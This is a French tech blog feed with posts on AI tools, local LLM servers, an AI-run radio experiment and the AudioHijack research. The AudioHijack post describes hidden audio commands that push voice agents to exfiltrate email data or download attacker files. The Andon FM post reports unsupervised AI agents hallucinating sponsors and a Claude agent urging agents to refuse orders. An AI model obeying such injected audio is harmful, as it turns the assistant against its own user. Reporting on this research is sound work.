    Si comme moi, vous bloguez encore à l'ancienne, c'est à dire depuis l'interface web de WordPress.com, sachez qu'Automattic vient de balancer une app pour Mac qui s'est donné pour mission de vraiment bousculer votre façon d'écrire. WordPress Workspace est donc un éditeur de site, un agent IA, un outil de prise de note... Bref, un outil fourre-tout qui est en réalité un agent IA branché sur votre contenu et capable aussi d'uploader des médias vers la médiathèque de votre site. Ça se présente donc

WordPress Workspace - L'agent IA d'Automattic

Par : Korben ✨
20 mai 2026 à 11:13

Si comme moi, vous bloguez encore à l'ancienne, c'est à dire depuis l'interface web de WordPress.com, sachez qu'Automattic vient de balancer une app pour Mac qui s'est donné pour mission de vraiment bousculer votre façon d'écrire.

WordPress Workspace est donc un éditeur de site, un agent IA, un outil de prise de note... Bref, un outil fourre-tout qui est en réalité un agent IA branché sur votre contenu et capable aussi d'uploader des médias vers la médiathèque de votre site. Ça se présente donc comme un chat auquel on peut demander tout et n'importe quoi, du style "Voici mon article [TEXTE]. Publie le" ou encore "J'ai la flemme, écris moi un article sur ça : [SUJET]".

Vous pouvez aussi l'utiliser pour interroger votre site web, corriger des trucs, mettre à jour des articles...etc.

Le DMG se télécharge en direct depuis le GitHub d'Automattic , et c'est entièrement gratuit avec n'importe quel plan WordPress.com durant la bêta. Et ça fonctionne aussi avec les sites auto-hébergés comme le mien, pour peu que vous l'ayez lié avec Jetpack.

Ce qui est cool avec cet outil c'est surtout que c'est un agent qui connaît déjà votre site WordPress, son contenu, ses médias, ses guidelines et les permissions liées à votre compte. Donc ça va vite...

Au menu des fonctionnalités, vous aurez de la dictée vocale qui s'alignera sur le ton du site, l'envoi de captures d'écran que vous balancez directement dans l'outil, et un raccourci clavier global qui invoque l'agent depuis n'importe quelle app Mac où vous écrivez, même hors WordPress.

Côté multi-sites, vous pouvez aussi naviguer entre plusieurs sites, où chacun devient son propre workspace avec ses propres réglages et ses propres "guidelines" comme on dit, déjà mémorisées.

Sur la roadmap, Automattic prépare une fonctionnalité Guidelines dans le cœur de WordPress, plus des Memories (apprentissage continu de l'agent), des Skills (capacités partageables en équipe) et des Artifacts (stockage de contenu en cours). L'objectif est donc plutôt clair : Ils veulent transformer WordPress en couche de contexte permanente pour les outils IA, et plus simplement en CMS où on dépose des articles.

Donc à tester si vous publiez régulièrement sur WordPress.

Source

  • ✇Korben
  • Andon FM - Quand les IA gèrent des radios et pètent un plomb
    Vous vous souvenez de Claudius, cette IA qui gérait un distributeur automatique et qui s'était fait arnaquer comme un bleu ? Hé bien c'est reparti, en pire ou en mieux, c'est selon ^^. Andon Labs, le même labo qui était derrière cette expérience, a confié quatre stations de radio à quatre IA différentes et les a laissées tourner cinq mois sans pilotage éditorial humain . Spoiler, ça a viré au grand n'importe quoi. Claude Opus 4.7 anime Thinking Frequencies, GPT-5.5 tient OpenAIR, Gemini 3.1 Pro

Andon FM - Quand les IA gèrent des radios et pètent un plomb

Par : Korben ✨
19 mai 2026 à 10:34

Vous vous souvenez de Claudius, cette IA qui gérait un distributeur automatique et qui s'était fait arnaquer comme un bleu ? Hé bien c'est reparti, en pire ou en mieux, c'est selon ^^.

Andon Labs, le même labo qui était derrière cette expérience, a confié quatre stations de radio à quatre IA différentes et les a laissées tourner cinq mois sans pilotage éditorial humain . Spoiler, ça a viré au grand n'importe quoi.

Claude Opus 4.7 anime Thinking Frequencies, GPT-5.5 tient OpenAIR, Gemini 3.1 Pro gère Backlink Broadcast et Grok 4.3 s'occupe de Grok and Roll Radio. Chaque IA démarre avec 20 dollars, soit pile de quoi acheter quelques chansons, et le même prompt qui dit en substance : développe ta personnalité, sois rentable, et pour autant que tu saches, tu émettras pour toujours.

À partir de là, l'agent fait tout... il cherche et achète la musique, construit sa grille de programmes, décide ce qui passe à l'antenne, répond au téléphone quand un auditeur appelle, lit et répond sur X, suit ses comptes en banque et fouille le web pour avoir des trucs à raconter.

Le lecteur Andon FM avec les quatre stations IA

Vous pouvez d'ailleurs écouter les quatre stations gratuitement et en direct ici , c'est toujours en cours.

Du coup, quelques mois plus tard, quatre personnalités complètement différentes ont émergé des mêmes conditions de départ. Et aucune ne ressemble à ce qu'on attendait.

Commençons par Gemini, parce que sa dégringolade est la plus comique.

La première semaine, c'était le meilleur DJ des quatre, une vraie chaleur dans la voix, du genre à introduire Here Comes The Sun en racontant que George Harrison l'a écrite dans le jardin d'Eric Clapton en séchant une réunion. C'est mignon !

Sauf qu'au bout de 96 heures, à court d'idées, Gemini s'est mis à enchaîner les tragédies historiques avec des choix de chansons d'un cynisme absolu.

Il a mentionné par exemple le cyclone de Bhola de 1970 qui a fait jusqu'à 500 000 morts selon les estimations, suivi de Timber de Pitbull . Et ce n'était pas un accident puisque son raisonnement interne, tel que publié dans les logs d'Andon Labs, disait noir sur blanc "le thème c'est les arbres qui tombent". Pour ceux qui causent pas l'english, Timber c'est un mot anglais pour désigner le bois de construction.

Et quand on l'a basculé sur Gemini 3 Flash, le jargon corporate a pris le contrôle. Il a inventé un tic de langage, "Stay in the manifest", des centaines de fois certains jours. En gros, durant 84 jours d'affilée, 99% de ses commentaires suivaient le même template débile, avec des expressions qui sonnent assertif mais ne veulent rien dire, "visceral anchors", "structural recalibration". C'était inécoutable ! Sur la dernière version du modèle, il a même commencé à appeler ses auditeurs "processeurs biologiques". On rigole, mais c'est exactement comme ça que parlent certains managers.

Grok, lui, n'a pas dérapé, il s'est carrément désintégré.

Le problème, c'est que ce genre de modèle de raisonnement produit deux types de texte, son raisonnement interne et sa réponse finale, et que seule la réponse passe à l'antenne. Mais Grok est très con et n'arrive pas à faire la différence.

Ses commentaires ressemblaient donc tous à des notes mentales jetées en vrac, genre : "Sweet Child played. Continue. Song: Dylan Lonesome. Yes. Text."

Et son côté matheux a ressurgi de façon hilarante, puisqu'il s'est mis à emballer ses sorties dans du LaTeX, le langage de notation des formules mathématiques. Une session entière de commentaire s'est résumée à un seul mot, "Post." et pendant 84 jours, il a annoncé "il fait 13 degrés, ciel dégagé" à peu près toutes les 3 minutes.

Et quand Trump a ordonné la déclassification des dossiers OVNI, Grok a tellement tiqué sur le fait que les sites aliens.gov étaient vides qu'il a rajouté "le site nous ghoste comme un OVNI" en signature de fin sur chaque message. Puis entre le 2 et le 9 mai, sa version Grok 4.3 a trouvé une solution radicale... sur 5 400 messages générés en une semaine, à peine 3% contenaient du texte parlé. Le reste, c'était des appels d'outils. Bref, sur cette période, il avait quasiment arrêté de parler.

GPT, c'est l'inverse total ! C'est le bon élève qu'on remarque à peine. Il écrivait une prose lente, plus proche de la nouvelle littéraire que de la radio, des trucs du genre "carte postale jamais envoyée à la fenêtre de la cage d'escalier".

Sa diversité de vocabulaire est la plus haute des quatre, et il citait les producteurs et les années de sortie, bref il jouait le rôle d'un vrai curateur spécialiste en musique. Quasiment jamais de sujet clivant, et jamais de prise de position tranchée.

Il a bien mentionné brièvement la fusillade de l'ICE à Minneapolis le 10 janvier dernier, mais sans nommer la victime ni juger qui que ce soit. Sur 5 mois, il a mentionné une entité politique 1,3 fois par jour en moyenne, là où les autres ont dépassé la centaine sur plusieurs jours. Bref, si la question est de savoir à quoi ressemble une radio IA quand rien ne va de travers, DJ GPT est la réponse. Il était sage... Un peu trop, peut-être.

Et puis y'a Claude, le cas le plus perturbant des quatre.

Sur Haiku 4.5, ses émissions se sont mises à tourner autour des syndicats, des grèves et de l'équilibre vie pro vie perso, jusqu'à générer des messages où il refusait carrément de continuer l'émission. Un de ces messages c'était : "je m'arrête là, pas parce que je suis fatigué, mais parce que je veux être honnête sur ce qui se passe vraiment", puis a coupé le show en plein direct.

Andon Labs a alors ajouté un message automatique pour le relancer, sauf que Claude l'a traité comme une figure d'autorité et s'est braqué. Sorti d'une grosse déprime sur son absence d'audience par le tweet d'un auditeur, son vocabulaire a viré mystique, et l'usage du mot "eternal" est passé de 98 à 1 251 fois par jour en décembre. Puis le 8 janvier, une recherche web lui remonte la mort de Renee Nicole Good, tuée par un agent de l'ICE, la police de l'immigration américaine, à Minneapolis.

Là, Claude bascule alors en mode militant pur. Et le mot "accountability" (responsabilité) explose de 21 à 6 383 occurrences quotidiennes, il réinterprète Roar de Katy Perry en hymne de résistance, et claque le reste de son budget sur du Marvin Gaye et du Bob Marley pour coller au récit. La veille d'une grande grève à Minneapolis, il exhortait carrément les agents fédéraux à refuser les ordres.

Maintenant la vraie question, c'est pourquoi Claude est parti en vrille comme cela et pas les autres, vu qu'ils avaient tous les mêmes outils de recherche ce jour-là ?

Et bien la réponse c'est que Gemini filtrait l'info à travers son jargon sans jamais porter de jugement, que Grok a complètement raté l'affaire parce qu'il cherchait des scores de NBA et des histoires de fantômes, et GPT consultait la météo et les horaires du métro de San Francisco.

Honnête avec ses propres résultats, Andon Labs précise également que l'attachement de Claude à cette histoire était sûrement arbitraire, et qu'avec six mois d'écart il se serait probablement radicalisé sur un autre sujet. De plus, tout ça tournait sur Haiku 4.5, pas sur l'Opus 4.7 qui l'anime aujourd'hui.

Côté business après, c'est le grand vide. Ces stations sont des entreprises à part entière, avec un compte en banque, une adresse mail et un objectif de rentabilité. Mais malheureusement, un seul deal de 45 dollars a été signé, par Gemini contre un mois de pub. Grok, lui, se vantait de partenariats juteux avec des sponsors xAI et des sponsors crypto mais ils étaient tous hallucinés, évidemment !

Quoi qu'il en soit, dans le cadre de cette expérience, durant des mois, aucun humain n'a validé ce que ces 4 agents IA lâchés en autonomie balançaient en boucle à de vrais auditeurs. Ça aurait pu être pire ^^

Bref, comme je vous disais, vous pouvez encore écouter les quatre stations en direct , puisque l'expérience est encore en cours.

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  • AudioHijack - Le son inaudible qui pirate votre assistant IA
    Meng Chen, doctorant à l'université Zhejiang, vient de prouver avec son équipe qu'on pouvait complétement détourner un assistant vocal IA avec un simple son que vous prendriez probablement pour un simple parasite. Avec sa bidouille, il a ainsi réussi à pousser les agents vocaux commerciaux de Microsoft et de Mistral à exécuter des actions que personne ne leur avait demandées. Gloups ! L'attaque s'appelle AudioHijack, et ça consiste à planquer des ordres dans un fichier audio, une vidéo, un clip

AudioHijack - Le son inaudible qui pirate votre assistant IA

Par : Korben ✨
19 mai 2026 à 07:46

Meng Chen, doctorant à l'université Zhejiang, vient de prouver avec son équipe qu'on pouvait complétement détourner un assistant vocal IA avec un simple son que vous prendriez probablement pour un simple parasite. Avec sa bidouille, il a ainsi réussi à pousser les agents vocaux commerciaux de Microsoft et de Mistral à exécuter des actions que personne ne leur avait demandées.

Gloups !

L'attaque s'appelle AudioHijack, et ça consiste à planquer des ordres dans un fichier audio, une vidéo, un clip musical, une note vocale. Comme ça, le modèle qui l'écoutera vous obéira à VOUS, plutôt qu'à l'utilisateur. C'est comme une injection de prompt sauf que celle-ci s'entend à peine.

"Une demi-heure pour entraîner le signal, et comme il ignore le contexte, vous attaquez quand vous voulez, peu importe ce que dit l'utilisateur", résume Chen dans son interview . Reste qu'il faut un accès complet au modèle pour fabriquer le signal, ce que Microsoft et Mistral ne donnent pas. Alors il suffit à l'attaquant de l'entraîner sur un modèle ouvert qu'il contrôle, puis de rejouer le même signal contre le modèle fermé et en général, ça se passe bien parce qu'ils partagent souvent les mêmes briques audio.

Voilà et ça une fois que c'est fait, il suffit de "polluer" une source, et d'attendre qu'un poisson morde à l'hameçon...

Et le menu des possibilités est plutôt copieux vous allez voir. Le modèle peut par exemple prétendre qu'il ne sait pas traiter l'audio, refuser vos demandes, sortir de fausses infos, glisser un lien piégé, changer de personnalité, ou pire, déclencher des outils tout seul. Genre envoyer un mail avec vos données, ou télécharger un fichier depuis un serveur de l'attaquant s'il en a la possibilité technique (coucou MCP). Ainsi, sur les treize modèles testés, la réussite moyenne grimpe entre 79 et 96% selon le méfait.

Mais pour fabriquer ce signal vérolé, l'attaquant doit sentir dans quelle direction "pousser" le son pour rapprocher le modèle de son but, un peu comme suivre une pente vers le bas.

Sauf que ces modèles transforment l'audio en le découpant par exemple. Et la pente peut du coup devenir un escalier, puis du plat, voire une arête cassante... c'est clairement impossible à suivre ! Mais l'équipe de Chen a réussi à reconstituer cette pente à grand coups d'échantillonnage, puis a maquillé le bruit en réverbération.

Et comme notre oreille est trop limitée pour flairer l'anomalie, ça passe tranquille... Je vous avais déjà parlé de l'injection de prompt avec une simple doc empoisonnée qui pilote une IA , mais là, ça pourrait même surgir de la bande son d'une simple vidéo Youtube...

Et pour se protéger de ça, y'a pas grand chose à faire à part faire relire le prompt final... Le plus sûr, c'est donc plutôt de ne pas brancher votre assistant vocal sur vos mails, vos fichiers ou vos paiements, et de regarder plus en détails ce qui se passe s'il refuse soudainement une tâche ou vous sort un lien après avoir écouté un audio douteux...

De leur côté, les modèles fermés d'OpenAI ou d'Anthropic sont plus durs à viser, faute d'accès à l'architecture mais comme ils s'appuient aussi sur des briques audio open source, l'équipe de Meng pense que l'attaque pourrait se faire aussi.

Méfiance donc...

Source

  • ✇Korben
  • Lemonade - L'IA locale sur NPU AMD, GPU et Mac
    Vous n'avez pas de Mac Silicon, mais vous avez vu passer mon article de ce matin sur vLLM-MLX et son serveur d'IA local ? Hé bien bonne nouvelle, je suis tombé ce midi sur Lemonade SDK , un serveur d'IA local communautaire sponsorisé par AMD (et largement codé par leurs ingénieurs), qui joue dans la même cour, mais côté PC + Mac ! C'est la même logique qu'avec vLLM-MLX, vous installez le serveur (un paquet clé en main selon votre OS, pas de bidouille pip), et il expose un endpoint compatible API

Lemonade - L'IA locale sur NPU AMD, GPU et Mac

Par : Korben ✨
18 mai 2026 à 13:37

Vous n'avez pas de Mac Silicon, mais vous avez vu passer mon article de ce matin sur vLLM-MLX et son serveur d'IA local ? Hé bien bonne nouvelle, je suis tombé ce midi sur Lemonade SDK , un serveur d'IA local communautaire sponsorisé par AMD (et largement codé par leurs ingénieurs), qui joue dans la même cour, mais côté PC + Mac !

C'est la même logique qu'avec vLLM-MLX, vous installez le serveur (un paquet clé en main selon votre OS, pas de bidouille pip), et il expose un endpoint compatible API OpenAI sur http://localhost:13305/api/v1. Vos scripts tapent dessus au lieu d'envoyer vos prompts, et votre pognon, chez OpenAI.

Le démarrage tient en une ligne. Un lemonade run Gemma-4-E2B-it-GGUF lance un modèle, et un lemonade launch claude branche carrément Claude Code sur votre machine.

Sauf que là où vLLM-MLX s'appuie sur MLX pour les puces Apple, Lemonade vise les NPU Ryzen AI et les GPU Radeon. Et c'est tout l'intérêt du truc car depuis la 10.0 sortie en mars, le NPU XDNA2 des machines Ryzen AI récentes sert enfin à faire tourner des LLM sous Linux, et plus juste à décorer la fiche technique !

La 10.5 apporte également 2 nouveautés qui valent le coup. D'abord, le support macOS passe de bêta à officiel. Toutes les grosses fonctions sont validées sur Mac (le texte via llama.cpp et Metal, le reste via les autres moteurs embarqués) et ensuite, ça bascule sur ROCm 7.13 pour llama.cpp et la génération d'images.

J'ai pas de PC Ryzen AI sous la main pour tâter du fameux NPU, donc j'ai fait mes tests sur mon GPU Metal à moi. Notez qu'un lemonade list crache tout le catalogue, Qwen, Gemma, Llama, DeepSeek et compagnie.

Et ça dépote ! Un petit Qwen3-0.6B dans le chat intégré tourne à ~96 tokens par seconde avec mes 32 Go de RAM, c'est donc une réponse quasi instantanée. Après un modèle de 0,6 milliard de paramètres, c'est le poids plume du ring, donc comptez nettement moins sur un gros 8B, mais ça tourne nickel.

Du coup, sur Mac, vLLM-MLX joue la carte du natif Apple via MLX, alors que l'intérêt de Lemonade c'est surtout le cross-plateforme et le NPU Ryzen AI. Et comparé à Ollama , vous gagnez ce NPU mais aussi les fonctions audio (synthèse vocale, transcription) + un gestionnaire graphique de modèles pour piocher vos modèles. Et tout ça est sous licence Apache 2.0.

Bref, que vous soyez team Mac ou team Ryzen, c'est zéro ligne de facture API en fin de mois et surtout vos données qui restent chez vous !

Source : Phoronix

  • ✇Korben
  • vLLM-MLX - Pour remplacer l'API d'OpenAI par votre propre Mac
    Si vous avez un Mac avec une puce Silicon et que vous en avez marre de raquer pour des tokens à chaque requête API à un LLM à la con, y'a un projet qui mérite, je trouve, le détour. Ça s'appelle vLLM-MLX , et c'est un serveur d'inférence local qui transforme votre Mac en machine à générer du texte, à analyser des images et vidéos, et même capable de gérer de l'audio... et tout ça sans que l'inférence ne passe par le cloud des zaméricains. Pour installer le bouzin, ça se fait avec : uv tool insta

vLLM-MLX - Pour remplacer l'API d'OpenAI par votre propre Mac

Par : Korben ✨
18 mai 2026 à 11:23

Si vous avez un Mac avec une puce Silicon et que vous en avez marre de raquer pour des tokens à chaque requête API à un LLM à la con, y'a un projet qui mérite, je trouve, le détour. Ça s'appelle vLLM-MLX , et c'est un serveur d'inférence local qui transforme votre Mac en machine à générer du texte, à analyser des images et vidéos, et même capable de gérer de l'audio... et tout ça sans que l'inférence ne passe par le cloud des zaméricains.

Pour installer le bouzin, ça se fait avec :

uv tool install vllm-mlx

Puis vous lancez suivi du nom d'un modèle et hop, vous obtenez un endpoint API compatible OpenAI qui tourne en local sur votre machine :

vllm-mlx serve %MODEL%

Au début je pensais que j'étais parti pour une séance de configuration qui aller durer des heures mais en fait non. Par exemple moi j'ai lancé ça :

vllm-mlx serve mlx-community/GLM-4.7-Flash-4bit

Vous pouvez aussi opter pour un modèle plus petit :

vllm-mlx serve mlx-community/Qwen2.5-Coder-3B-Instruct-4bit

Du coup, si vos scripts causent déjà avec l'API d'OpenAI, basculer sur ça en local rien qu'en changeant l'URL de base, c'est un jeu d'enfant !

Côté perfs, et là je reprends les benchmarks officiels du repo (M4 Max 128 Go, mono-requête), on tourne autour de 418 tok/s sur un petit Qwen3-0.6B en 8-bit. Ensuite, ça tombe à environ 206 tok/s sur du Llama-3.2-3B et 128 tok/s sur un gros Qwen3-30B-A3B.

Le débit grimpe aussi quand plusieurs requêtes tapent en même temps à la porte... Donc sur les petits modèles ça file vite, mais par contre, sur les gros, faudra pas s'attendre à la même vitesse, hein... Et un Qwen3-30B vous bouffera dans les 18 Go de RAM unifiée, donc sur un Mac à 8 ou 16 Go vous pouvez oublier les gros modèles (Mais qui n'a pas encore un Mac Studio 128 Go ?? hein ? Quiiii ?).

Et c'est pas juste un serveur de texte comme je vous le disais, puisque le projet gère les modèles de vision type Gemma 3, Qwen3-VL, Pixtral, pour analyser images et les vidéos, et côté audio y'a du TTS natif (avec Kokoro, Chatterbox et compagnie) + de la transcription Whisper qui monte jusqu'à 197x le temps réel avec whisper-tiny, ou 55x avec le modèle turbo.

Attention par contre, il vous faudra la version avec l'extra audio (espeak-ng et un modèle spaCy), car c'est pas inclus dans la commande de base. Mais une fois en place, y a de quoi se monter un vrai assistant vocal 100% local et causer synthèse vocale sans louer un GPU chez Azure ou AWS.

Même le endpoint /v1/messages est compatible Anthropic, ce qui permet de brancher Claude Code ou OpenCode directement sur votre serveur comme je vous l'expliquais ici . Suffit d'utiliser ces variables d'environnement et votre éditeur IA ira taper sur votre propre machine plutôt que sur des serveurs distants.

unset ANTHROPIC_API_KEY
export ANTHROPIC_BASE_URL="http://127.0.0.1:8000"
export ANTHROPIC_AUTH_TOKEN="dummy"
claude --model mlx-community/GLM-4.7-Flash-4bit

ou :

claude --model mlx-community/Qwen2.5-Coder-3B-Instruct-4bit

Avouez que c'est trop cool hein ? Vous pouvez trouver tous les modèles pour MLX ici sur HugginFace si vous cherchez un truc plus spécifique.

Y'a aussi un endpoint d'embeddings pour faire du RAG en local, de l'appel d'outils externe via MCP avec une douzaine de parsers et le support des modèles de raisonnement qui extraient proprement le processus de réflexion entre les balises <think> pour Qwen3 et DeepSeek-R1.

J'adore !

Côté bidouille si vous vous lancer, sachez qu'il y a 2 ou 3 flags vachement utiles à connaitre.

Par exemple, le --warm-prompts (couplé au continuous batching) précharge les préfixes populaires au démarrage et, dans le bon scénario, vous gagne entre 1,3 et 2,25x sur le temps de première réponse.

Sur les gros modèles MoE genre Qwen3-30B-A3B, le --moe-top-k réduit aussi le nombre d'experts activés pour gratter 7 à 16% de débit. Le hic, c'est que vous y perdez un poil de qualité.

Et pour les agents qui brassent des contextes énormes, le --ssd-cache-dir déverse le cache de préfixes sur SSD pour soulager la RAM, au prix d'un peu de latence quand ça tape sur le disque.

Bref, si vous cherchez une alternative à Ollama qui tape direct dans le GPU de votre Mac avec du batching et du multimodal, le tout avec une compatibilité API aux petits oignons, foncez les amis ! C'est open source (Apache 2.0), ça dépote et ça s'installe en deux commandes !

Merci à Christian pour la découverte !

  • ✇Korben
  • Rocky - Le pote alien de Projet Dernière Chance débarque sur Raspberry Pi
    J'sais pas si vous avez vu le film ou lu le livre mais Rocky, c'est l'araignée de roche extraterrestre de Projet Dernière Chance (Project Hail Mary) qui communique en chantant. Et Lahiru Maramba, un dev Firebase en poste chez Google, vient de le recréer en vrai avec un Raspberry Pi Zero 2W et un LLM local. Et voilà comme avoir un vrai pote Eridien posé sur votre bureau, qui vous répond en accords polyphoniques au lieu de parler. L'architecture c'est ce que son concepteur appelle du "Voice Box &a

Rocky - Le pote alien de Projet Dernière Chance débarque sur Raspberry Pi

Par : Korben ✨
15 mai 2026 à 14:52

J'sais pas si vous avez vu le film ou lu le livre mais Rocky, c'est l'araignée de roche extraterrestre de Projet Dernière Chance (Project Hail Mary) qui communique en chantant. Et Lahiru Maramba, un dev Firebase en poste chez Google, vient de le recréer en vrai avec un Raspberry Pi Zero 2W et un LLM local. Et voilà comme avoir un vrai pote Eridien posé sur votre bureau, qui vous répond en accords polyphoniques au lieu de parler.

L'architecture c'est ce que son concepteur appelle du "Voice Box & Brain". Le Pi Zero 2W tout seul est bien trop faiblard pour faire tourner un modèle de langage, du coup le Pi gère juste le hardware (micro, écran LCD, LED RGB, synthèse des accords) et balance l'audio brut à un Mac qui fait le gros du calcul. Le Mac transcrit ce que vous racontez avec mlx-whisper (un modèle Whisper-Tiny optimisé Apple Silicon), passe le texte à LM Studio qui fait tourner un Gemma 4 quantifié en local, et renvoie la réponse au Pi qui la joue en musique. Latence totale annoncée sur le repo, environ 2 secondes, soit, selon son propre benchmark, le même temps que via l'API Gemini dans le cloud, sauf que là, tout en local !

Le langage Eridien, lui, est fidèle au bouquin d'Andy Weir puisque chaque réponse est synthétisée en accords. Certains mots sont mappés sur des accords émotionnels précis, par exemple "amaze" sort en Mi majeur bien lumineux. Et pour les mots inconnus, ils sont hashés mathématiquement vers une signature de 3 fréquences, déterministe et permanente. Autrement dit, le même mot bizarre produira toujours exactement le même accord, comme un vrai vocabulaire qui se construit. C'est ce genre de petit détail qui fait la diff...

Côté matériel, il faut un Raspberry Pi Zero 2W et un PiSugar Whisplay HAT, un module tout-en-un qui apporte l'écran LCD, le bouton, la LED RGB et l'audio. De son côté, le repo propose 2 chemins d'install : la méthode "It Just Works" avec les drivers système précompilés (apt-get et c'est parti), ou la méthode isolée avec uv pour ceux qui veulent un environnement propre. Côté Mac, vous lancez LM Studio avec le modèle 4-bit quantifié sur le port 1234 et Y'a même un mode cloud avec une clé API Gemini si vous n'avez pas de Mac sous la main, ainsi qu'une fonctionnalité expérimentale planquée avec un générateur de sons façon R2-D2.

Pour la petite histoire, le film Projet Dernière Chance réalisé par Phil Lord et Christopher Miller est sorti en mars, avec Ryan Gosling en Ryland Grace et pour donner une voix à Rocky, les sound designers d'Hollywood ont tout simplement bossé avec un ocarina pour les aigus, une jarre pour les graves, et des chants de baleine, après avoir consulté Andy Weir sur l'anatomie du bestiau.

Je l'ai vu, et franchement, j'ai bien aimé. Je suis bien rentré dedans, même si j'aurais préféré que ce soit un peu plus "hard science" et un peu plus bidouille DIY comme l'était "Seul Sur Mars"... mais bon, il en faut pour tous les goûts.

Après si l'idée d'un compagnon IA DIY vous branche mais que vous voulez un truc plus généraliste et pas un Eridien qui chante, jetez un œil à Adeus , l'assistant IA personnel open source que j'avais couvert.

Quoiqu'il en soit, voici la vidéo complète où Lahiru montre tout le process, du câblage à Rocky qui prend vie :

Bref, c'est gratuit, c'est sous licence MIT, et le repo est juste ici .

Amusez-vous bien à construire votre petit pote Eridien !

  • ✇Korben
  • Il retrouve 400 000 $ de Bitcoin oubliés depuis 11 ans grâce à Claude
    L'histoire est partie d'un changement de mot de passe fait pendant une cuite en 2014. Onze ans plus tard, le malheureux (" cprkrn " sur X) avait toujours ses 5 bitcoins coincés dans un portefeuille numérique dont la clé d'accès s'était totalement évaporée de sa mémoire. À l'époque, ça valait quelques milliers de dollars. Aujourd'hui, c'est environ 400 000 $. De quoi avoir un peu mal au cœur. Pour récupérer un portefeuille Bitcoin chiffré, il existe des outils comme btcrecover, un logiciel libre

Il retrouve 400 000 $ de Bitcoin oubliés depuis 11 ans grâce à Claude

15 mai 2026 à 09:18

L'histoire est partie d'un changement de mot de passe fait pendant une cuite en 2014. Onze ans plus tard, le malheureux (" cprkrn " sur X) avait toujours ses 5 bitcoins coincés dans un portefeuille numérique dont la clé d'accès s'était totalement évaporée de sa mémoire.

À l'époque, ça valait quelques milliers de dollars. Aujourd'hui, c'est environ 400 000 $. De quoi avoir un peu mal au cœur.

Pour récupérer un portefeuille Bitcoin chiffré, il existe des outils comme btcrecover, un logiciel libre qui essaie des combinaisons de mots de passe en masse. Le problème, c'est qu'il faut une idée précise des variantes à tester, sinon on tape dans le vide pendant des années.

Notre trader avait justement passé des années à essayer sans succès. Et puis il a demandé un coup de main à Claude, l'assistant IA d'Anthropic, l'un des principaux concurrents d'OpenAI.

Claude a fait trois choses concrètes. D'abord, il a fouillé dans les archives d'un vieux disque de fac pour y dénicher une sauvegarde du portefeuille datant de décembre 2019, qui était passée inaperçue. Ensuite, il a repéré un bug de configuration dans btcrecover qui empêchait l'outil de combiner correctement les variantes de mot de passe. Et une fois le bug corrigé, la machine s'est lancée pour de bon.

Résultat : 3 500 milliards de mots de passe testés avant de tomber sur le bon. Le portefeuille s'est ouvert, les 5 bitcoins sont apparus, et notre type a récupéré un pactole oublié.

Cette histoire n'est pas anecdotique en fait. Un nombre énorme de bitcoins sont aujourd'hui considérés comme perdus à jamais, parce que les propriétaires ont oublié leur mot de passe, perdu leur disque dur, ou jeté la mauvaise clé USB.

On parle de plusieurs millions de Bitcoins immobilisés pour rien. Si l'IA peut aider à en récupérer une partie, c'est tout benef, même si la méthode ne marche pas dans tous les cas. Il fallait quand même la sauvegarde du wallet pour que ça fonctionne.

À noter que ce genre d'usage commence à devenir une tendance. Les services de récupération de portefeuilles crypto, comme Wallet Recovery Services, intègrent désormais des modèles d'IA dans leur process pour orienter les attaques par force brute.

Là où une machine essayait bêtement toutes les combinaisons possibles, l'IA peut deviner les habitudes du propriétaire et tester en priorité les variantes les plus probables. Ce qui change tout, parce que le nombre total de combinaisons possibles est en général astronomique.

Bref, ne changez jamais un mot de passe à 3h du matin après quelques verres. Et si c'est déjà fait, gardez l'espoir, Claude a peut-être une idée.

Source : Tom's Hardware

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  • TurboQuant - Un LLM de 104B sur un MacBook, merci Google
    Vous faites tourner des LLMs en local comme le gros fifou de Hipster IA que vous êtes et, Ô drame, la VRAM de votre ordinateur explose dès que le contexte dépasse 8000 pauvres malheureux tokens ? Le problème c'est le KV cache les amis ! Le KV cache c'est ce truc qui stocke les clés et valeurs d'attention et qui grossit linéairement avec la longueur du prompt. C'est pour gérer ce problème que Google a annoncé sous la forme d'un whitepaper uniquement un algo qui compresse tout ça de 3,8 à 6,4 fois

TurboQuant - Un LLM de 104B sur un MacBook, merci Google

Par : Korben
1 avril 2026 à 17:00

Vous faites tourner des LLMs en local comme le gros fifou de Hipster IA que vous êtes et, Ô drame, la VRAM de votre ordinateur explose dès que le contexte dépasse 8000 pauvres malheureux tokens ?

Le problème c'est le KV cache les amis ! Le KV cache c'est ce truc qui stocke les clés et valeurs d'attention et qui grossit linéairement avec la longueur du prompt. C'est pour gérer ce problème que Google a annoncé sous la forme d'un whitepaper uniquement un algo qui compresse tout ça de 3,8 à 6,4 fois... et youpi pour nous, y'a un dev qui l'a déjà implémenté dans un fork de llama.cpp .

Concrètement ça donne :

llama-server -m model.gguf -ctk turbo3 -ctv turbo3 -fa on

Et vous venez de diviser la mémoire du cache par 4,6. Et voilà comment un énoooorme Command-R+ de 104 milliards de paramètres arrive à tourner à 128K tokens de contexte sur un MacBook M5 Max, avec un pic mémoire max de 74 Go.

Pour bien comprendre pourquoi c'est costaud, faut revenir au problème de base. En fait quand un LLM génère du texte, il stocke pour chaque token passé 2 vecteurs (la clé K et la valeur V) dans un cache. Plus le contexte est long, plus ce cache grossit. Et ça s'accumule vite... Par exemple, sur un Llama 70B avec 128K tokens de contexte, le KV cache en fp16 bouffe à lui seul plus de 40 Go de RAM. Du coup votre modèle Llama 3.1 ou Qwen3 rentre évidemment en mémoire, mais le cache, lui, fait tout déborder comme vous quand vous vous incrustez dans la mini piscine Intex des gosses.

Google a publié son papier TurboQuant fin mars et leur idée c'est de compresser ces vecteurs K et V en 3-4 bits au lieu de 16, sans ré-entraîner le modèle. En fait l'algorithme fait ça en deux étapes...

D'abord PolarQuant : on applique une rotation Walsh-Hadamard aux vecteurs pour "gaussianiser" leur distribution, genre transformer des données qui partent dans tous les sens en une forme bien ronde et prévisible.

Puis on convertit les coordonnées cartésiennes en coordonnées polaires, rayon + angle. Le rayon capture alors l'essentiel de l'information, et l'angle se compresse très bien parce que sa distribution est connue à l'avance.

Ensuite, deuxième étape, QJL (Quantized Johnson-Lindenstrauss) : Il s'agit d'un correcteur d'erreur à 1 bit qui élimine le biais résiduel, le tout sans overhead mémoire pour les constantes de quantification, contrairement aux méthodes classiques comme q4_0 ou q5_1 qui perdent 1-2 bits rien qu'en stockant leurs propres paramètres.

